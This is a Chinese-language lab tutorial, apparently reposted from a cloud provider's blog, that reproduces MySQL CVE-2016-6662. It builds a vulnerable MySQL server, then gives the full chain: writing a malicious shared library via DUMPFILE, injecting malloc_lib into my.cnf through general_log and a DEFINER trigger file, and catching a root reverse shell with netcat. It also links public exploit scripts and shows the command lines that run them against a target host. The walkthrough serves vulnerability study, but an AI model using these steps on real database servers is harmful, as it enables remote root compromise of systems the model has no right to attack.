本篇内容主要讲解“Mysql CVE-2016-6662漏洞分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Mysql CVE-2016-6662漏洞分析”吧!
该漏洞允许攻击者注入恶意配置到 mysql配置文件 my.cnf中,导致可加载任意扩展库。当扩展库中存在恶意指令时即可getshell。
备注:
以下实验全程开启 SELinux
该漏洞在 SELinux 开启的状态下也可用哦~
实验系统为 Centos7
mysql <= 5.7.15
mysql <= 5.6.33
mysql <= 5.5.52
需要在 mysql官网 中 自行下载 符合版本的 mysql。
由于在Centos7上安装时默认的 yum源头是设置的 mysql5.7.30。我们不能使用 yum源安装,需要手动下载 源码,然后编译安装:
第一步、下载 mysql5.7.10 源码
进入 mysql 各种版本下载页面:
https://downloads.mysql.com/archives/community/
选择 mysql5.7.10,本实验以 5.7.10 作为例子。
下载时选择 源码方式,系统为 常规Linux,下载含有 Boost Headers 的源码包:
第二步、创建用户
在 Linux 中,mysql 不允许使用 root 账号 运行。必须添加一个低权用户运行 mysql服务
添加用户,并且不允许登录:
useradd -s /sbin/nologin mysql
第三步、解压 mysql 源码包
将下载好的 mysql 源码包放到你想放的路径。最好放到 /usr/local 下。
解压命令:
tar -xzvf xxxxxx.tar.gz
第四步、安装依赖包
由于源码编译 mysql 需要一些运行库、依赖包等东西。我们需要先自行下好:
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
第五步、编译安装
解压完成后,进入刚解压好的mysql 目录下,执行命令进行编译:
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
命令运行完后,再进行安装:
make && make install
安装完成后,应该会有一个新文件夹 /usr/local/mysql。这个就是安装好的mysql 的文件夹了。
第六步、配置 mysql 配置文件
默认一般是没有自动创建 /etc/my.cnf 文件的。需要我们自己拷贝一份模板文件过去。
my.cnf 模板文件在 mysql 目录(这里往后讲的 mysql 目录都是指 安装完成后创建的 /usr/local/mysql)下的 support-files 文件夹里。
模板文件名为:
/usr/local/mysql/support-files/my-default.cnf
将其拷贝为 /etc/my.cnf
cp my-default.cnf /etc/my.cnf
我们还需要创建一个文件夹,供数据库文件存放。我直接在 mysql 目录创建了一个名为 data 的文件夹。将其作为 数据库文件存放路径:
mkdir /usr/local/mysql/data/
为保证权限,可以给它 777:
chmod 777 /usr/local/mysql/data/
将整个 mysql 目录所属归为 mysql 用户:
chown mysql:mysql /usr/local/mysql
配置 mysql 配置文件。在配置文件模板的基础上,修改三个重点配置:
basedir 设定为 mysql 目录
datadir 设定为 数据库文件存放目录
port 设定为 数据库监听端口
第七步、创建 mysql 服务
注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然创建服务的时候会报错
在 mysql 目录下 的 bin 目录,执行命令:
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
其中,user参数为 启动 mysql 的用户。我们使用我们刚刚创建好的低权限用户。
basedir 和 datadir 必须和配置文件 /etc/my.cnf 的值一致。不然也会报错
执行完后,将会在 mysql目录下的 support-files 文件夹看到 mysql.server 文件。
我们将 mysql.server 文件拷贝为 /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysqld
完成后,我们就可以使用命令:
/etc/init.d/mysqld restart
重启mysql 服务
这个漏洞官方介绍网上很多。这里我就用大白话的方式来讲,并配合简单的示例来演示:
mysql 配置中在 [mysqld] 下有一个配置项。名为 malloc_lib。这个配置项可以加载任意位置的 so 文件,并执行。
然而执行 malloc_lib 指定的 so 文件的进程是 mysql_safe。这个进程是以 root 用户运行的:
但是由于是配置文件指定的 so 文件,mysql服务需要 重启 才会重新加载配置文件。所以最后需要将 mysql 重启才能完成整个攻击流程。
我们需要下载好 大神写好的 c文件:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
修改攻击脚本:
由于是演示,就用本机。 mysql 配置文件就写默认的配置文件 /etc/my.cnf:
写入后保存退出。进行编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
将会生成一个 so文件:
配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:
malloc_lib=/tmp/mysql_hookandroot_lib.so
这里 malloc_lib 指定的就是刚刚生成好的恶意 so文件 路径
写入后保存退出。由于 poc 写的是 127.0.0.1,所以我们开启本机上对应的端口:
nc -lvp 6033
重启 mysql 服务:
/etc/init.d/mysqld restart
有个小小的报错,不过不要紧,我们已经getshell了:
后文的攻击大致流程就是这样子:
想办法修改配置文件,并加上一行配置,最后重启mysql服务
我们首先让 mysql 的 root 用户能够让外网登录,连入mysql,输入以下命令:
grant all privileges on *.* to 'root'@'%' identified by '123456'; flush privileges;
上传写入恶意 so文件
值得一提的是,mysql5.7.10 默认是开放 secure_file_priv 的
关于写入恶意 so文件,我们可以通过 python 并配合 mysql 的 dumpfile 语句。将文件的十六进制码进行写入。
python 文件转十六进制码:
import binascii f = open("mysql_hookandroot_lib.so", "rb") a = f.read() hexstr = binascii.b2a_hex(a) f.close() f = open("res.txt","w") f.write(hexstr) f.close()
得到一大串十六进制字符:
构造 mysql 语句:
注意:mysql写入十六进制码时,需要在字符前加一个 0x
select 0x一大串字符 into dumpfile "/tmp/cvetest.so"
这个漏洞能够利用成功的最关键的一步,就是通过mysql的命令,修改 / 新增 my.cnf 配置。使其能够成功读取到 malloc_lib 配置项。
这里有几个坑点,一一列举:
(1)配置文件路径
mysql 中除了默认的 /etc/my.cnf。还有别的配置文件路径。并且是顺序读取的。放一张官网图:
https://dev.mysql.com/doc/refman/5.7/en/option-files.html
如图所示,不仅仅会读取 /etc/my.cnf文件,而且还会读取 $MYSQL_HOME/my.cnf,这个是指 mysql目录下的my.cnf。
为什么钟情于 mysql目录下的 my.cnf呢?因为 mysql目录,mysql用户99%的几率是可读写的。而别的目录可不可写就难说了。。
(2)outfile / dumpfile
正常情况下,谈到导出文件。第一反应就是使用 mysql 的语句:outfile、dumpfile。
可惜,这里有一个坑点。
我们来尝试用 mysql 的outfile 写一个 my.cnf 出来:
select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";
然后重启 mysql 的时候将会报错:
这是因为,我们通过 outfile / dumpfile 写出来的文件,权限是 rw rw rw。
在 mysql 中有个安全策略:如果配置文件的权限可被 其他用户 写,则将会忽略这个配置文件。
而通过 outfile 写出来的文件权限是 rw rw rw。不符合 mysql 的安全策略规则。
所以我们得另辟蹊径。
(3)general_log与配置文件格式
在mysql中想要写入文件,还有一个语句:general_log。
我们可以通过 general_log,写入 my.cnf 文件。
通过 general_log 写入的文件其他用户 无权限。
首先,先将 general_log 文件路径设置为 mysql目录下的 my.cnf 文件。即:/usr/local/mysql/my.cnf
set global general_log_file = "/usr/local/mysql/my.cnf";
开启 general_log:
set global general_log=on;
写入配置:
MySQL [(none)]> select " "> [mysqld] "> malloc_lib=/tmp/cvetest.so "> #";
写入成功后,查看文件权限:
查看内容,发现通过 general_log 新增写入文件的方式,会先写入 banner 信息,然后再写如具体日志。
由于 my.cnf 文件不是以 [] 开头。mysql 读取的时候会报错。也无法成功getshell:
(4)攻击条件
在测试的时候发现,general_log 对于已经存在的文件,将会追加。
而 my.cnf 中的配置。配置不正确 mysql 将会忽略配置。但是配置文件必须以 [] 开头。
得出攻击条件:
当 mysql 有已经创建好的 my.cnf 文件时,才可通过 general_log 对该文件追加配置。
我们创建好一个 /usr/loca/mysql/my.cnf。简单写一个配置:
[mysqld] secure_file_priv = NULL
将新的 my.cnf 所有权给 mysql:
chown mysql:mysql my.cnf
重启 mysql。然后我们像上面的(3)一样:修改 general_log 路径;开启 general_log;写入恶意配置项:
查看配置文件,由于之前已经写好了配置文件,所以现在 my.cnf 是以 [] 开头的:
尝试重启 mysql:
成功 getshell:
(5)/etc/my.cnf
在实际情况中,可能 mysql 的配置项就一个默认的 /etc/my.cnf。那我们可不可以通过 general_log 追加到 /etc/my.cnf 中呢?
答案是:看情况。。。
默认 /etc/my.cnf 的权限是 r rx r
如果这种情况设置 general_log ,则会报错:
mysql要写入的话,需要具有 写入 权限
现实中管理员错配权限也是经常发生的情况。
将 /etc/my.cnf 权限修改为 rw r r:
chmod 644 /etc/my.cnf
尝试写入:
成功写入:
重启后自然成功getshell:
按照网上的说法,其实不需要root用户,只需要一个具有 select,insert,create,file 权限的用户即可。
我们来创建一个用户,及其对应的数据库:
连入mysql,执行下面语句:
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges;
将 /etc/my.cnf 权限设置为 600,所属用户为 mysql:
chmod 600 /etc/my.cnf chown mysql:mysql /etc/my.cnf
首先我们需要先下载大佬写好的攻击脚本:一个python文件和一个c文件:
0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.pymysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
默认kali没有安装 mysql-connector,而大神写的脚本中用了这个库。
不安装的话将会报错:
ImportError: No module named mysql.connector
我们需要手动安装:
python -m pip install mysql-connector
由于python脚本中有些配置和我们实验环境不符,我们还需要手动修改一下:
(1)python - 将 trigger 触发器目录设置成实验靶机的 data 目录
首先需要知道靶机的 data 目录在哪。连入靶机的 mysql ,输入命令:
show variables like "%data%";
这里的 datadir 的值就是 mysql 服务的 data 目录路径。
修改 python 脚本:
(2)python - 修改恶意so文件导出路径
虽然脚本里说 /tmp 重启会丢失文件, /var/lib/mysql mysql 也有权限写入
但是实际上用的时候可能会报错,没有权限写入。
个人认为最好把路径改回成 /tmp
(3)c - 修反弹shell端口
编辑 c 文件,注意该文件需要和 python 文件放在同一目录下。
修改配置:
ATTACKERS_IP 设置为 攻击机ip
SHELL_PORT 设置为 攻击机接收反弹shell的端口
INJECTED_CONF 设置为 我们攻击时使用的 my.cnf 路径
直接运行 exp:
pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf
我们来看看这个 exp 是如何实现 非 root 用户 却能够修改 general_log 配置 的:
找到关键SQL语句:
将其单独抽出来整理格式查看:
这是一个触发器
但是这不是直接执行的,而是通过 mysql 的 dumpfile 语句写入到文件里的:
为什么要用触发器呢?为什么要写入到文件中不直接执行呢?
带着这些疑问,我们来实践一下:
非 root 用户,无法直接 set global general_log
先说一个小细节:
select user() 和 select current_user() 的区别:
select current_user() 查询出来的用户才是真正的存在数据库里的用户格式。
尝试设置 general_log:
无权限。
触发器 - 以他人权限执行 SQL 语句
官网中对于触发器的格式描述:
官网链接在此:
https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html
大意是说, mysql的触发器可以通过设置 DEFINER 参数,以别的用户身份执行触发器的 SQL语句。
语句:
create definer='root'@'localhost' trigger test1 指定使用用户 'root'@'localhost'执行触 发器 test1 after INSERT 触发器在执行 INSERT 语句之后执行 on test1.t1 在哪个表上设置触发器 for each ROW 固定格式 BEGIN 固定格式,表示触发器要执行的SQL语句开始 select "1" into outfile "/tmp/1234567.txt"; 触发器要执行的SQL语句 END 固定格式,表示触发器要执行的SQL语句结束
但是并不是任何用户都能使用 root 用户身份去执行的。
想要以 root 身份执行触发器,创建者必须具有 super 权限:
备注:
delimiter | 表示暂时性设置 Mysql 每条语句的分隔符为 |,mysql语句分隔符默认是 ;。但是由于触发器中需要写入 sql语句,sql语句中有 ; 。会导致 sql语句提前结束。所以需要暂时性修改分隔符。
莫非到此就结束了?我们还有一计。
参考大神的脚本时,发现它将触发器写入到了一个文件中,这个文件路径也是我们用 exp 的时候需要修改的路径:
莫非 mysql 创建了触发器之后,将会以文件形式保存下来?
动手实验一探究竟。
我们直接使用 root 用户来创建触发器:
语句:
跟上面那个一样
create definer='root'@'localhost' trigger test1 after INSERT on test1.t1 for each ROW BEGIN select "1" into outfile "/tmp/1234567.txt"; end |
创建成功:
我们到 mysql 的数据库文件目录去看看:
如果不知道数据库文件目录在哪,在mysql终端中输入 :
show variables like "%datadir%";
默认情况下,数据库文件目录下,数据库文件夹名 和数据库名一致。我们找到我们的 test1数据库的目录,并 进入
注意:这里的数据库文件夹 mysql 用户都是可写的
发现真的多了两个 TRN文件,有用的文件就是和数据表名对应的 TRN文件:
查看内容:
也就是说,mysql 的触发器文件就是保存在数据库文件目录下的数据库文件夹中。文件名与表名对应。
根据上面实验,我们可以整理出 exp 的原理和流程了:
(1)首先连入 mysql 。连入账户不需要 root 用户,只要能 select,insert,create,file 即可
(2)将 恶意 so库 写入到文件夹中。这里最好写到 /tmp 目录下。也可尝试写入 mysql 数据库目录下
(3)创建一个新表,为后面触发器做准备
(4)将触发器的配置写入到触发器文件中,触发器的配置为通过 general_log 对 my.cnf 文件进行配置追加
(5)对表进行操作,使其执行触发器
到此,相信大家对“Mysql CVE-2016-6662漏洞分析”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。